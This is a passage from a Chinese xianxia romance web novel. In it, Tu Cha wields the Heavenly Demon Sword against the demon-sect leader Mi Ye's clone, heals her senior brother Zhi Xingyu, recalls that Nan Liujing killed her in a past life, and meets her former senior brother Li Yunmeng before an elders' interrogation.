气流中,少女缓缓抬手,一把杀气锋芒的雪剑从陶埙中拔剑而出,剑身锐利如龙,嗜血神威。
男子认出了那把剑。
“天魔剑!”
“算你有眼光。”
涂茶握住剑柄,轻而易举就将剑完全取了出,伤口开始飞速愈合,蓝色符咒从她的手蔓延至全身,最后汇集至眼眸。
“看好了。”
清瞳猛
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地睁开,望向弥野。
一瞬,迸发出了刺眼的蓝光。
弥野竟被她眼中的神色震慑住,心生畏惧。
“一招。”
少女扬起头,随意挥着剑,然后抬手一指,狂妄至极:“足以要你的命。”
说罢,涂茶凌空一剑,一种从未有过的压力震慑天地,然后幻化成巨龙朝着弥野呼啸而去。
砰——
天地为之一颤,灵气波动至整个乌乌山。
树叶狂舞,尘土飞扬。
弥野被一剑斩断,肉身瞬间粉身碎骨。
但有一股黑气也随之消失。
“分身术。”涂茶蹙眉,居然用分身来杀他们,看来这个弥野确实是个厉害的角色。
她收回剑,抬手看了眼:“原来是需要我的血才能破除封印,怪不得我之前怎么摸都没有反应,天魔剑,好久不见了。”
也不知道她的天魔剑怎么到了枝幸雨的陶埙里去,还以为里面藏着的是她灵力…
“咳咳。”
这时身后传来声响,涂茶回过神,赶忙跑过去查看枝幸雨的情况:“五脏六腑都震碎了,灵根受损,心脉大伤…”
涂茶明明见过有比更严重的伤,但从来没有这一刻,这么心乱如麻。
她皱紧眉头,此时此刻,伞不在身边,她没有灵力,只能靠天魔剑来续一续他的命。
她将人小心扶起,然后靠在自己身上与自己额头相贴,手中立刻掐诀。
“剑魂与我同在,剑灵与我共生。”
只见天魔剑浮在两人头顶,发出蓝色的光芒。
“天魔剑,入血咒!”
咒术念出,蓝光注入两人体内,涂茶以自己的气息调动缓缓将灵力渡入枝幸雨体内。
剑器也可以救人,持有者越厉害,剑器内的剑灵也越厉害,涂茶作为天下第一,她的剑足以救一个将死之人。
随着灵力入体,少年的五脏六腑开始重塑,但涂茶的脸色也越来越难看。
因为她现在毕竟没有灵力,她以自身为载体渡剑器的灵力,实际上是非常伤灵根的,但枝幸雨为她豁出性命,她也愿意为他也豁出性命。
灵力慢慢进入心流时刻。
涂茶逐渐忘记周遭的一切,保护罩萦绕在他们四周,涂茶咬着发白的唇继续为他渡灵力。
忽然眼前的黑幕有了画面。
漫天的血,嘈杂的人声。
悬崖上,五大宗门团团包围,涂茶手握天魔剑,斩杀尽所有的魔教,身体已经筋疲力尽。
耳边有人在说话,涂茶忽然很烦躁,等回过身,一把剑突然刺穿了她的胸膛。
符咒涌现,阵法启动。
郁桃愣愣地握向胸前的剑,不可置信地看向那人。
“不要犹豫!动手!快动手杀了她!”
“机不可失啊!动手啊!”
四周乱糟糟,数不清的人在吵闹,郁桃杀红眼的脸满是敌人的鲜血,那人似乎有些怕了,又或者慌了,突然想松开手,郁桃却一把抓住他,不让他离开。
那人露出惊恐的神色,仿佛不明白她的意思。
郁桃嘴角讽刺一笑,不知道说了什么,握着那人的手一把拔出了剑,鲜血飞溅,她跪倒在地,阵法吞噬她的一切,天地暗红,她被狩猎在人群之中,一动不动。
直到那人试探着再次伸手,郁桃一把抓住,恶狠狠道:“南流景,你欠我的,下辈子我一定向你讨回来!”
轰——
梦境破碎,涂茶猛然睁开眼,阵法消散,枝幸雨失去重力倒在她肩膀。
少女抱着他,双眸震惊,不停喘着气,梦中那人的脸清晰又深刻,叫她根本忘不掉。
“是你啊,南流景,原来是你杀了我。”
14. 劫后
客栈。
妖妖手忙脚乱:“怎么回事,不过是出门了一趟,怎么回来一个个伤成这样?!”
涂茶小心地将枝幸雨放到床上,随后问她:“妖妖,我的伞呢?”
她将一串手链交给涂茶:“在这。”
“这么小!”涂茶满脸意外,拿起手链询问,“这我要怎么使用?”
“像这样。”妖妖伸出手,对着手链注入一点灵力,小小的手链马上变换成一把伞,再紧接着就是一把剑。
“如果你需要换一把剑,摁一摁这个机关,就可以替换了。”
“太厉害了妖妖!不愧是墨家伞的机关技术,果然神乎其技!”见识了这么厉害的东西,涂茶阴郁的心情好转了不少,不过她现在得抓紧给枝幸雨疗伤。
“妖妖,我们刚才出门遇到夜弥天的人,对方修为很高将我师兄打伤了,我现在需要为他疗伤,你能替我去药坊抓点药吗?”
妖妖一听,马上点头:“当然可以!我这就去!”
说罢,妖妖即刻推门出去买药。
屋内就只剩下涂茶与枝幸雨两人。
她将人扶起,与自己额头贴额头,然后用手链中的所有灵力输入自己体内。
“入血咒。”
咒语念动,灵气开始传输。
她的灵力很充足,也很纯粹,用自己的灵气去渡,很快就能替枝幸雨重塑好五脏六腑,修复好灵根,但这样耗损自己的灵力,还是会对自身造成不可逆的伤害。
幽蓝的光芒萦绕在两人身边,想到刚才的种种,涂茶心情复杂,一方面是枝幸雨的身份,一方面又是自己的死因,同时又闪过少年救自己的身影。
事情发生的太快,一件一件又都不是什么小事,她没想好该怎么处理。
但此刻…
涂茶睁开眼,看向少年粘上血迹的脸,惨白无力。
至少,她清楚一件事,她想救他,她想护住枝幸雨。
不知道过了多久,幽蓝的光消散,房间恢复了正常。
涂茶收回灵力到手链,脸色有些难看,调整好气息后将人轻轻躺在床上。
看着少年,她开始苦恼,等会儿他醒了,她该怎么解释是谁杀了弥野,又要如何解释谁替他修复了伤口。
忽然屋外有人敲门,涂茶打开门,只见门外站着一个不认识的蓝衣男子。
他举起自己的令牌:“我是神欲行决行神君的弟子云第,师尊让我来接你们回去。”
“决行?…梨云梦?”涂茶有些意外,怎么会是他来接他们?
“好,不过我师兄受伤了,能等他醒了再走吗?”
“可以,师尊说了,一切都听你的。”云第道。
“听我的?”涂茶被搞迷糊了,梨云梦什么意思?难不成他知道他们这里出事了?
“云第师兄,你先请进吧。”
“好。”
云第走进屋子,他看向床上的枝幸雨,回头对涂茶道:“他已经好得差不多了,估计明日就可以动行。”
涂茶点头,看向云第腰间的令牌,突然闪过一个想法。
“你说,你师尊让你一切都听我的?”她背着手走近对方。
云第:“是。”
“那好。”涂茶扬嘴一笑,“接下来我说的话,你都听好了…”
日光逐渐消散,等妖妖买完药回来,煎好药,天色便已完全暗了下来。
三人守着枝幸雨醒来。
“没想到这魔教之人这么厉害,连你师兄都被伤得如此严重。”
涂茶看向说话的妖妖,脑中思索了一番,似乎是想到什么:“妖妖,你知道夜弥天的弥野吗?”
“弥野!你们遇到弥野了?!”妖妖大叫一声,就连一旁的云第也露出无比惊讶的神色。
“怎么了?”瞧见他们两人神色如此,她倒是有些后悔自己提出这个问题。
妖妖从凳子上一跃而起,快步走到涂茶面前:“弥野啊!你不认识弥野吗?那可是现任的魔教之主!”
“魔教之主!”涂茶这才明白,怪不得此人修为如此之高,用分身术就能将魔化的枝幸雨打到如此重伤,若不是当时她及时取出了自己的佩剑,只怕此刻他们见到的就是两具死尸了。
不过这样的话,刚才她和云第的商量就有些出入了。
涂茶正想着,床榻上的枝幸雨皱着眉似乎是被吵醒了,她赶忙示意妖妖不要再谈了。
她走上前,温声询问:“师兄?你怎么样?”
枝幸雨捂着胸口,紧锁眉头,听到声音他挣扎着睁开了眼睛,视线里少女坐在他床边,握着他的手满脸担心。
“涂茶。”他开口,声音哑得听不出原声。
涂茶却松了一口气:“醒过来就好,能醒过来那就没事了。”
“你快把我们吓死了!”妖妖走到床边,“清晨你和涂茶浑身是血地回来,别说我了,人家店小二都吓得魂飞魄散!”
听完妖妖的话,枝幸雨意识才逐渐回笼,他还记得他晕倒之前,那个男子还活着,那涂茶她…
“你…”
涂茶知道枝幸雨想问什么,她侧身露出不远处的云第:“师兄,是他救了我们。”
枝幸雨视线跟去,看到那个蓝衣冷峻男子,他身上有神欲行的令牌。
“他是决行神君的弟子,决行神君用方天镜感应到了乌乌山有一股强大的魔教灵力,所以就派云第师兄来查看,他到的时候你已经晕过去了,云第师兄和那人交过手。”
涂茶解释着,视线看了一眼云第,原本是想说云第杀了弥野,但现在知道了弥野的身份和能力,她得改口:“云第师兄也不是他的对手,所以他就露出自己的令牌骗对方神欲行的人已经朝这里赶来了,那人可能顾忌自己也受了伤,真跟一群人打起来也得不到好处,所以就跑了。”
听完这一切,妖妖露出恍然大悟的神情:“原来如此,怪不得我说我抓个药的时间,屋子里怎么还多了一个人,原来是帮你们的师兄。”
枝幸雨了然,他再次看向涂茶,从她身上一遍遍巡视,眼中满是担忧。
涂茶见此微微一笑:“师兄我没事,云第师兄第一时间用符咒为我疗伤了,不过体力消耗太多,来不及为你疗伤,只好先送你回来,等他调整好,就替你也治好了伤口。”
闻言,枝幸雨皱眉,他知道自己和涂茶的伤非常严重,普通的疗愈术根本没办法解决,必须以灵力渡之,符咒相辅,才能救回一条命。
如果真是这样,他们欠了他一个大恩情。
枝幸雨想到此,赶忙从床上想爬起来,但是被涂茶摁住了:“师兄!你才刚好,要躺着静养才行,不要起来了。”
“不行,他…”
“我知道,我知道,云第师兄帮了我们大忙,我们欠他一个大人情,不过他也没有耗损灵力,他用他师尊的玉骨咒救得我们。”涂茶回头眼神示意对方快开口。
云第接收到信号:“不必谢,这是师尊的意思。”
“对啊对啊。”
“而且…”云第一顿。
涂茶睁大眼,眼神询问对方要干什么?
云第继续道:“师尊说了,等着你们来见他。”
见他?
涂茶一愣,梨云梦什么意思?
先是派人来找他们,再是说一切都听她的,现在又要他们去见他。
难不成他有什么事情有求于他们?
“以后的事情以后再说吧,你们现在得好好休息。”妖妖出声打断,看着手里的葫芦,嘴里嘀咕,“经此一遭,看来
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我下次出门得多带点厉害的机关,不然被抓了一点办法都没有,只能给你们拖后腿。”
“怎么会呢?”涂茶安慰,“你那个能变成匕首的小壶就很厉害,在关键时候帮了我大忙。”
“真的吗!有帮到你吗?”妖妖听到自己的东西能帮到别人开心得举手欢呼。
“其实我还有很多暗器和机关的,我可以给你们一个一个展示,如果你们喜欢,我还可以把这些都送给你们。”
妖妖说着打开腰间的葫芦,咒语一念,一瞬间小小的葫芦在空中变换出无数个物件,看得涂茶一愣一愣。
“你这个葫芦居然能藏这么多东西。”
一旁的枝幸雨和云第也露出一丝惊讶,虽然一直知道墨家伞的机关术很厉害,但这也是他们第一次见到。
“当然!可以收纳万千法相,甚至可以收入灵力,你瞧这个。”妖妖取出一个鲁班锁递给涂茶,“你别看这个平平无奇,实际上他也是个收纳器,效果和我这个是一样的,你喜欢吗?”
“喜欢!”
“那我送给你!”
妖妖直接塞到涂茶手里,还告诉她该怎么使用:“记住了,这个可以收缩大小的,如果你觉得拿着不方便可以将它变小,当挂坠戴在脖子上。”
“这也太方便了!谢谢你妖妖。”涂茶摸着这个鲁班锁爱不释手。
“好了好了,我们不打扰你们休息了,我和云第先下楼给你们准备点吃的。”
话音刚落,妖妖就已经推着云第走出门,在房门即将关上的时候,她突然探头进来,眼神狡黠:“对了,那个鲁班锁里面藏了点东西,你们等会可以打开试试,记得咒语,法天象地。”
咯吱——
这次大门真的关上了。
屋内再次只剩下涂茶与枝幸雨。
涂茶回过身,望向床上的枝幸雨,或许是因为劫后重生,或许是对这次下山发生的事情感到荒谬,两人对视一眼,忽然就都笑了。
“师兄,下回我可不敢再下山了。”涂茶打趣。
枝幸雨无声笑了笑,然后想起什么,他视线下落,有些犹豫。
“涂茶…”
“嗯?”
“你看见了…对吗?”
几乎是瞬间,涂茶就明白他想问什么,其实在她过去的观念中,魔教就是恶,她的职责就是杀尽天下魔教恶徒,可这次她内心却不是这样想的。
“师兄,你知道吗,我以前一直是一个人,虽然会一些拳脚功夫,有点小聪明,但面对太厉害的敌人也会觉得很累,有时候受了伤,吃了苦,只能自己咬碎往肚子里咽下,根本没有人关心我,也不在乎我是否受伤。”
天下第一就该无所不能,她以前也是这样想的,直到遇到枝幸雨…
“可是师兄不一样,师兄会保护我,会在意我受伤,会告诉我可以喊痛,会豁出性命保护我,师兄甚至明知暴露身份会给自己带来很多麻烦,失去理智,可是师兄还是这样做了,不顾一切地做了。”
涂茶握紧他的手,这是第一次,她清楚明白地想要保护一个人,认识到她手中的剑究竟是为了谁而拔。
枝幸雨不由回握,他何尝不是这样想的,他的身份他的身世,是世间所不容的,他既不完全属于正派也不属于魔教,他一直生存在夹缝之间,在世间游荡。
“师兄,我不在乎你的身份,就像你说的,你不知道什么郁桃,你只认识我,我也是,我只认你,往后我也会学习法术,我也会保护你的,师兄。”
这是第一次。
枝幸雨清楚地感受到整个心剧烈地在颤抖,一种说不上的感觉如浪潮淹没了他,他想,这是第一次。
第一次有一个人,认可了他自己。
“涂茶,你想听我的故事吗?”
15. 情蛊
从小枝幸雨就是个父不详的孩子,而他的母亲是个非常美丽的女子,他们一起生活在一座与世隔绝的小村落,一直到五岁那年,母亲去世前告知了他的身世。
“幸雨,你身上流着魔教与正派的血,这是世间所不容的,所以我只能带着你躲在这里,可是我快要死了,我怕你就此流离失所,孤苦无依,又不愿你回到魔教,幸雨,去神欲行,答应我,一定要去神欲行,无论能不能见到,你也一定要去。”
“见到谁?”涂茶问。
枝幸雨却摇头:“我也不知道,母亲只让我一定要去神欲行,但她并没有告诉我要去见谁。”
“师兄,我可以问你一个问题吗?”涂茶想到了什么。
“你问。”
“你认识弥野吗?”
“不认识,为什么这么问?”
涂茶皱眉,思索着回答:“师兄,其实这次攻击我们的是魔教宗主弥野。”
“弥野?”枝幸雨有些意外。“怎么会是他?”
“是,我也觉得很奇怪,照理说作为魔教宗主,他不可能平白无故去往神欲行的地盘,又平白无故要杀我们两个无名小卒,所以我在想弥野是不是知道你的身世。”
其实,涂茶还掩藏了一部分真相,她想弥野千里迢迢来这,其实正如他自己所说,他察觉到了她的复活,专门来找她的。
至于找到她献祭她是为了灵力还是其他什么,她不能确定,但是枝幸雨确实与此事无关,可弥野却铁了心要杀他,还说了很多奇怪的话。
这一切充满疑点,让她忍不住联想,弥野是不是认识他,或者是……
“他认识你的母亲。”
枝幸雨也开始回想,当时战况惨烈,他一心只想着杀了对方救回涂茶,确实没有考虑这么多事情,现在冷静下来仔细想想,好像当时他还提了一句——“徽月。”
少年恍然,看向涂茶:“他知道我母亲的名字。”
“看来这件事情确实有问题,师兄,你的身世回去之后我们要好好调查一番。”
还有,她的死因。
从佩剑中回忆起过去的事情,涂茶心里就一直记着这事,只不过因为救枝幸雨,她暂时压下了此事。
南流景。
这个年少的朋友,为何最后要杀她?
看到涂茶眉头紧锁,枝幸雨唤了一声:“怎么了?”
“师兄。”涂茶仍旧是思考的样子,张口道,“我再问你一个问题,你必须要回答我。”
少女的神色难得如此认真,枝幸雨也跟着认真起来:“好。”
“如果,我是说如果。”
“嗯。”
“如果有一天,我和你师尊一起掉进水里,你救谁?”
空气似乎安静了一瞬。
枝幸雨更是一愣:“你这是什么问题?”
听起来像是在问我和你师尊谁更重要?
这种问题不是一般…
涂茶自己也反应过来,赶忙笑着摆摆手,打破紧张的气氛:“算了算了,当我没问。”
为了掩饰尴尬,她还拿起鲁班锁,嘴里嘀咕:“刚才妖妖说这里面有什么东西来着……”
“你。”
少年的声音突然响在头顶,涂茶诧异地抬起头。
他是说,救她吗?
“为什么?”涂茶追问原因。
师尊和她,她更重要吗?
“你会喊救命。”
涂茶有些不太满意,瘪瘪嘴:“这算什么回答?”
少年却看着她嘴角轻轻一笑,目光不自觉柔成春水:“我答应过你,只要你喊救命,我就一定会来救你。”
夜色朦胧,屋内烛火正一晃一晃,时间在此刻仿佛凝滞,唯有烛芯在燃着火苗,风过时,炸出花火。
指尖的硬木膈着指腹,少女紧张地摩挲着,在他的目光下,匆匆躲开。
“这答案,还…还算可以。”
她自顾自答道,嘴角却微微扬起,然后举起鲁班锁,神色又恢复了往日的俏皮:“师兄,要一起看看这里面有什么吗?”
“好。”
涂茶念出咒语:“法天象地。”
只见小小的鲁班锁一节一节打开,迸发出五彩光芒,随后无数烟火在空中绽放,被涂茶捧在掌心,耀眼迷人,如梦似幻。
“好美啊。”涂茶看着手心的烟火,眼中倒映着烟火的光彩,流光溢彩。
枝幸雨的视线落在她脸上,星火瞬间,他眼底倒映着的——只有她。
“好美。”
小小房间,手心的烟火不断变换着,照耀了少年少女青涩的脸庞。
月色如水,温柔了一夜的心动。
待到天色微微亮,小镇又是新的一天。
涂茶正躺在床上赖床,忽然楼下传来不小的动静。
她打着哈欠,不情不愿地从床上起来,收拾好走出门,恰好碰到一同走出门的两人。
“师兄,云第师兄。”
两人朝她点点头,枝幸雨走到她身边低声道:“睡得好吗?”
“不好,和你们一样被吵醒了。”涂茶撇嘴,随着枝幸雨一同走出拐角。
两人刚想下楼,就看到楼下满厅的玄衣弟子围着妖妖。
“这是?”涂茶一下就清醒了,拉着师兄就往楼下冲。
云第则慢慢跟在身后。
“妖妖!”
涂茶冲进人群,挡在妖妖面前,扬眉道:“喂,人家只是下山来玩玩的,你们墨家伞的也没必要这么多人来抓她一个人吧。”
玄衣墨家伞。
涂茶等人作为五大宗门,自然是知道对面这些人的身份,所以刚才云第并不着急。
正对涂茶的男子看向三人,视线打量一番:“蓝衣白剑,神欲行?”
“怎么了?”涂茶也不客气。
男子冷哼一声,看了眼涂茶身后的妖妖,露出不满:“师妹,怪不得你这次下山这么久不回来,原来是找到了几个靠山。你倒是潇洒了,可知道师兄我为你瞒宗主瞒得多辛苦?”
“师兄?”涂茶惊讶,回头看妖妖,“这是你师兄?”
妖妖赶忙抱紧涂茶,可怜兮兮地点点头:“涂茶,我师兄可凶了,他可没有你师兄对你这么好,我这次出来太久,回去肯定惨了,我爹会打死我的!”
“你爹?”
怎么又来一个?
涂茶要搞晕了。
她看向枝幸雨,又看回对面的男子,眯着眼满脸质问:“有没有人给我解释一下?”
“妖妖,原来你还没有告诉对方你的身份吗?”男子环抱双臂,目光睥睨,“那就让我来告诉你,你身后这个修为平平,却总爱跑下山的捣蛋精就是墨家伞宗主之女。”
墨家伞宗主之女!
知道了对方的身份,涂茶瞬间深吸一口气,压下怒气挤出声音:“妖妖!”
妖妖下意识哆嗦,急忙抱紧涂茶道歉:“对不起嘛,涂茶,我不是故意的,这几天事情这么多,我没找到合适的机会告诉你,你别生我气,我不是故意的。”
涂茶简直是头皮发麻,倒不是知道对方身份多厉害,而是因为自己的原因差点让她被魔教的人伤害。
如果真出事,这绝对是一件震惊江湖的事情,指不定闹出多么大的风浪,她和枝幸雨一定吃不了兜着走。
“涂茶,求你,别生我气,我真的不是故意的。”
“好了好了。”
涂茶叹气,很快就心软原谅她,她侧身用只有两个人才懂的眼神对视:“不过,你下回可别这么吓我了。”
妖妖立马就明白是什么意思,忙不迭点头,其实她自己也怕被她爹知道这件事。
“既然各位已经知道我们的身份,那可以把我的师妹给我了吗?”男子道。
“涂茶…”妖妖拉着涂茶的手,可怜地眨眼。
“好了妖妖,我们也要回神欲行了,总不能让你跟着我们回去吧?别怕,你师兄虽然瞧着凶巴巴,但是我觉得他会在你爹面前护着你的。”
“真的吗?”
涂茶看向枝幸雨,他微微歪头表示怎么了?
少女眼底溢出笑意,低头看向妖妖:“真的。”然后凑到她耳边,用很小的声音补充——
“因为,我师兄也是这样的。”
天下没有不散的筵席。
妖妖最后还是跟着浩浩荡荡的墨家伞弟子离开了客栈,并叮嘱他们俩以后一定要来墨家伞玩,涂茶和枝幸雨答应了。
吃过早饭,在客栈没待多久,两人就和云第一起御剑回到神欲行。
只不过这次,两人
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并没有回到君山峰,而是跟着云第去了内门的——招摇峰。
一落地,涂茶就看到早就等候在此的罗雀骨。
“涂茶!”罗雀骨急急跑过来,拉着涂茶上看下看,“听说你遇到弥野了?怎么样?有没有事?我都给你吓死了!你怎么老是出岔子?”
“我没事我没事。”涂茶乖乖地站着让他看,“还好云第师兄来了,不然弥…”
她这时候才反应过来:“你怎么知道我们遇到弥野了?”
涂茶说罢,想到什么看向云第。
云第也看了一眼她,没有掩饰,涂茶便明白了,是他将消息汇报回去了。
“我是从我爹那里偷听到的,现在你们可麻烦了,长老阁要对你们进行审讯和调查,虽然惯例一向如此,神欲行的弟子遇到魔教中人都要回来接受审讯,但你之前的事情还没有解除嫌疑,现在又是魔教之主…”
罗雀骨长叹一口气,看了两人一眼,也是很无奈。
“总之,你们俩这一趟招摇峰,不会太平。”
涂茶知道通灵木的事情还没有一个合理的解释,所以长老阁对自己多有戒备怀疑是合理的,但师兄是为何?
想着,她便问出口:“我自己我清楚,可师兄?”
罗雀骨看向站在涂茶身边的枝幸雨:“他…和你也差不了多少。”
什么意思?
涂茶不解,还想追问。
云第在这时候突然开口,打断了几人。
“诸位,长老阁的审讯在未时,如今时辰还未到,在此之前,我要先带涂茶师妹去见我师尊。”
闻言,涂茶眉头一皱,她搞不懂梨云梦究竟是什么意思?为什么要见一个小小无名之辈?她的身份只是一个流浪儿啊。
而其余两人听了也有些不明所以,枝幸雨更是走上去,站在涂茶身前,眼神提防:“既然如此,也请云第师兄带我一同前去,我也好当面向决行神君道谢。”
“不可。”
两种声音同时响起。
一个是云第,另一个竟然是罗雀骨。
涂茶马上道:“为什么?”
罗雀骨对她的不满有些哭笑不得:“弟子出门一趟遇到魔教之主,回来还要受审讯,他师尊难道不急吗?不想见他一面吗?”
“南流景?”涂茶下意识地脱口而出。
其余几人听到一同看向了她,云第直接提醒:“是宗主。”
涂茶干笑几声:“是,我忘记了。”
“好了,那既然如此,我带幸雨师弟去见宗主,你带涂茶去见决行神君。”罗雀骨道。
也只能是这样,等回来再问清楚枝幸雨的事情是怎么回事吧,刚好她也想见一见梨云梦,搞清楚对方的意图。
涂茶点头:“走吧云第师兄。”
走之前,两人回头看了一眼对方,涂茶摇头笑着示意自己可以的,但枝幸雨不说话,盯着她要离开的身影,最后还是叫住了涂茶:“涂茶!”
涂茶马上就停住脚,回首望他:“师兄?”
枝幸雨快步走上前,手中掐诀,念了一句咒语,雪色灵力渡入到挂在涂茶脖子上的小鲁班锁上。
等做完这一切,他抬头看向涂茶:“我对它施了咒,只要你对着它喊我,我就能听到。”
涂茶认出了咒术——是相思咒。
她一愣。
这种咒术一般都是相爱的恋人远隔万里才会施的咒,因为只要一方呼唤了,另一方无论何时何地,耳边都能听到,甚至能心灵感应到。
“我答应过你,要保护你,但我怕我不在你身边我听不到你的呼唤,所以…”枝幸雨拿起鲁班锁,抬手示意,“试试看?”
远处罗雀骨和云第还站着等,涂茶接过那小小的鲁班锁,对着它轻轻呼唤:
“师兄?”
一道雪色符咒浮现,枝幸雨的心口一颤,耳边她清脆甜亮的声音随之响起。
少年猛地捂住自己的嘴,试图挡住发红的脸,眼前少女扬起笑又喊了一次:“师兄!”
明媚而灿烂。
她的呼唤令枝幸雨的心再次颤抖。
少年终于后知后觉地意识到,相思咒不只是可以及时感应到对方,更是在…下蛊。
枝幸雨啊枝幸雨。
你是在给自己下情蛊啊。
16. 梨云梦
“云第师兄,你没有什么要问我的吗?”
走在台阶上,涂茶望着云第的背影试探着问。
其他人不知道,但云第是最清楚她撒谎了的。
他并没有遇到救下他们,也没有遇到魔教宗主弥野,所以他们是怎么死里逃生?又为什么要撒谎?
可云第脚步未停,继续带着她去往梨别峰:“师尊叮嘱过,无论发生什么事情,一切都听你的,我无权过问。”
涂茶脚步一停,她手中的手链一晃,发出清脆的声响。
去见梨云梦之前,她就将手链加了好几层复杂的符咒,还把天魔剑收回在枝幸雨的陶埙里,有灵力在身上,佩剑在不在身上对她并没有什么影响,不如好好保护枝幸雨。
做完这些,她不知道为什么心中还是不安。
或许是…她与梨云梦太熟悉了。
“到了。”
涂茶回过神,望向一方幽静的庭院,院子里似乎有两个弟子,云第回身挡住了她视线:“我去通报师尊,还请师妹稍作等候。”
“嗯。”涂茶点头。
云第躬身离去,露出庭院的景色。
满园的梨花似雪盛放,层层叠叠的树下,两个弟子手持剑一同练剑,动作行云流水,看起来默契无间。
“师兄,小心!”
树下少女说着,与少年舞剑擦肩而过,她的视线明亮又骄傲,蓝色的衣摆晃过,涂茶恍惚间好像回到了年少时。
两个幼童舞着木剑,两小无猜,青梅竹马。
她忍不住迈开脚,走向院中。
当脚步走进庭院的一瞬间,忽然一阵清风拂来,吹落了满园的梨花。
涂茶一愣:“起风了?”
雪色从枝头落下,漫天飞舞,一阵又一阵的梨花随风摇曳,在空中盘旋,形成一股气流突然朝着涂茶而去。
那两人也意识到了不对,他们停下手中的剑,顺着花的方向看向那个不速之客。
气流涌动,庭院中少女被花围绕,不知为何,那些梨花萦绕在涂茶身边久久不愿离去,仿佛已经等了她很久很久。
这时推门声突然响起,涂茶回过头望去。
梨花飞舞。
男子长身玉立,蓝衣长袍,头冠白玉,长发披散落地,在雪色梨花下,哪怕已是而立的年纪也是难掩仙姿卓绝,清冷飘逸。
看见他的那一刻,涂茶忍不住收紧指尖。
他们隔着台阶,一上一下,遥遥对视。
直到耳边传来舞剑少年叫住少女要上前的声音:
“师妹!”
男子的眼眸忽然一动。
梨花缓缓围绕在他们之间,时间仿佛被拉得无限漫长,漫长到涂茶透过男子幽深的眼神看到了他们的过去。
他们是最亲密的人,年少相伴,青梅竹马,一同拜师学艺,一起舞剑修炼,走过低谷至巅峰,哪怕如今时过境迁,物是人非,他也是她依旧会信任的人。
因为,他是师兄。
梨云梦,是她真正的师兄。
“师尊。”
云第的声音打断了两人的对视。
涂茶赶忙收起自己的情绪,装作不认识的样子朝着梨云梦躬身:“决行神君,初次见面,在下涂茶。”
“师尊。”舞剑两人也朝着梨云梦躬身,他点头示意几人离去。
梨花已经逐渐飘落在地,庭院中只剩下两人。
梨云梦站在原地,目光深陷在涂茶身上,久久没有开口。
直到涂茶忍不住开口:“神君?”
梨云梦才像是难以抽离地回神:“无事。”
他一步步从台阶上走下,缓慢沉重地走向涂茶,视线在她脸上一点点打量。
“涂茶?”
“是。”
“你如今多少岁?”
涂茶愣了愣:“十六。”
“十六…”梨云梦似乎在思索,转念又想到什么,整个人不再那样神采,面对她明亮赤裸的目光,他竟看起来无比的挫败。
“你…”
“神君。”涂茶突然开口打断,她扬起笑,恭恭敬敬地朝他拜了拜,“多谢神君相救。”
看着少女与他客气陌生的样子,梨云梦才像是梦醒了一样。
他抿着嘴没有回答。
面对他,涂茶除却有些忐忑怕他认出自己,此外就是一种自然而然的信任,于是她大胆抬起头看向他:“涂茶冒昧一问,不知神君此次出手相助是为何?”
“我不过是察觉到了乌乌山有异,所以特调弟子前去相助。”梨云梦道。
“原来如此。”
见他不想说明,涂茶也不追问,继续装傻充愣:“那神君无事的话,我先告辞了。”
说完,涂茶边拱手边往后退,眼看要转身离去了,梨云梦开口叫住了她。
“等等。”
涂茶回头:“神君?”
他走上前,清风霁月,朗朗神君,与她记忆里的人很像,但又有些变化,就像此刻他的眼神总是藏着一丝寂寥与悲痛。
“雨长老说你的身份有些可疑,此次又遇到魔教之主,他特意叮嘱,在一切水落石出之前要我暂且看管你,我这僻静,事情少,弟子不多,最为合适。”
他说了很多话,多得有些像是在解释。
涂茶微微拧眉,她知道雨长老对她身份多有怀疑,上次事情不了了之,本想借着完成任务翻篇,没想到偏偏遇到魔教之主,然后自己又平安无事地回来了,疑点太多,如今确实有些麻烦。
不过,梨云梦看管她,总比其他人要好。
“那好,决行神君,那我就打扰了。”
涂茶弯腰拱手,对梨云梦她不再那么吊儿郎当,反而该做的礼仪她都会好好做到。
而在她弯腰的那一刻,梨云梦微不可察地舒了一口气。
微风徐徐,几朵梨花落下,掉落在她头顶。
梨云梦指尖微动,最后还是没有伸出手。
“今日,你暂且留下,我会让其他弟子安排好你的住处,晚些时候我送你去长老阁。”
“好,多谢神君。”
“不必多谢,这是我应做的。”
“对了,神君,可否让我师兄也留下呢?”
梨云梦神色一怔:“师兄?”
“对。”涂茶微微一笑,“师兄。”
“枝幸雨。”
浓烟缭绕,高座上一位男子走了下来,他年岁三十几,相貌却依旧俊朗神采。
“我不是叮嘱过你,要戴面具,尤其是遇到外人,绝不可摘下面具,为何要违抗师命!”
男子的声音高昂急促,站在跪地少年面前,神色更是难看。
只见枝幸雨直直跪着,视线落在地上:“弟子有错,还请师尊责罚。”
眼前此人正是神欲行宗主,南流景。
“有错?”南流景气急,指着他不知道如何是好,“一句错了,就能弥补一切?你知不知道你如今闯了多大的祸?”
“弟子不知。”
“不知?!”南流景大怒,手中唤出长剑,剑柄压在枝幸雨身上,似乎想对他施以惩戒,可手中的剑却迟迟未动。
南流景看着枝幸雨不卑不亢任凭责罚的神情,最后气得甩开剑,硬是自己咽下了。
“你是我的弟子却非宗门大族,外人对你多有议论质疑你不是不知道,我叫你住到君山峰
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,叫你谨言慎行,叫你少与人来往,都是为你好,等到宗门大试,你能拔得头筹,自然就无人对你有意见。”
南流景背着手一番说教,可看他一副毫不在乎的样子,急得直叹气,可又没办法。
“行了,起来吧,好在决行神君派人去救才保下你一命,等会长老阁审讯,我亲自参与,你不必担心。”
枝幸雨在他的示意下站起身:“是。”
看着他的脸,南流景忍不住皱眉,从怀中取出面具递给他:“戴好。”
少年接过,重新将这山鬼面具戴上。
“你退下吧,记住我说的话,不可在外人面前摘下面具。”
枝幸雨点头,缓缓退后离开。
就在即将脚步踏出殿门的时候,男子突然叫住他。
“等等。”
枝幸雨回过身:“师尊。”
南流景站在远远的高座上,一身华服沉重又繁琐,他望着少年,忽然道:“你的伤如何?”
枝幸雨眼眸微微一动,抬起头看向师尊。
师尊对他一向严苛,也不多亲近,他又长年住在君山峰与师尊见面次数屈指可数,平日里很少会嘘寒问暖,所以面对他今日突然的关心,枝幸雨有些诧异。
他缓缓低下头,拱手回道:“已经无大碍。”
南流景视线从他身上不经意而过,确认无事后:
“退下吧。”
这次少年脚步退后,那人再没开口叫过他。
殿中,烟雾淡淡散去,只留下浓香,南流景坐在高座,目光望着空荡荡的大殿,神情疲倦又寂寞。
未时一到,长老阁坐满了位高权重之人,今日这次审讯可不同于往日,被审讯者与审讯之事都无比特别。
“你们是如何确定对方是魔教之主的?”雨长老作为审讯者自然首当其冲。
这事情,涂茶是最清楚的,所以她说最合适。
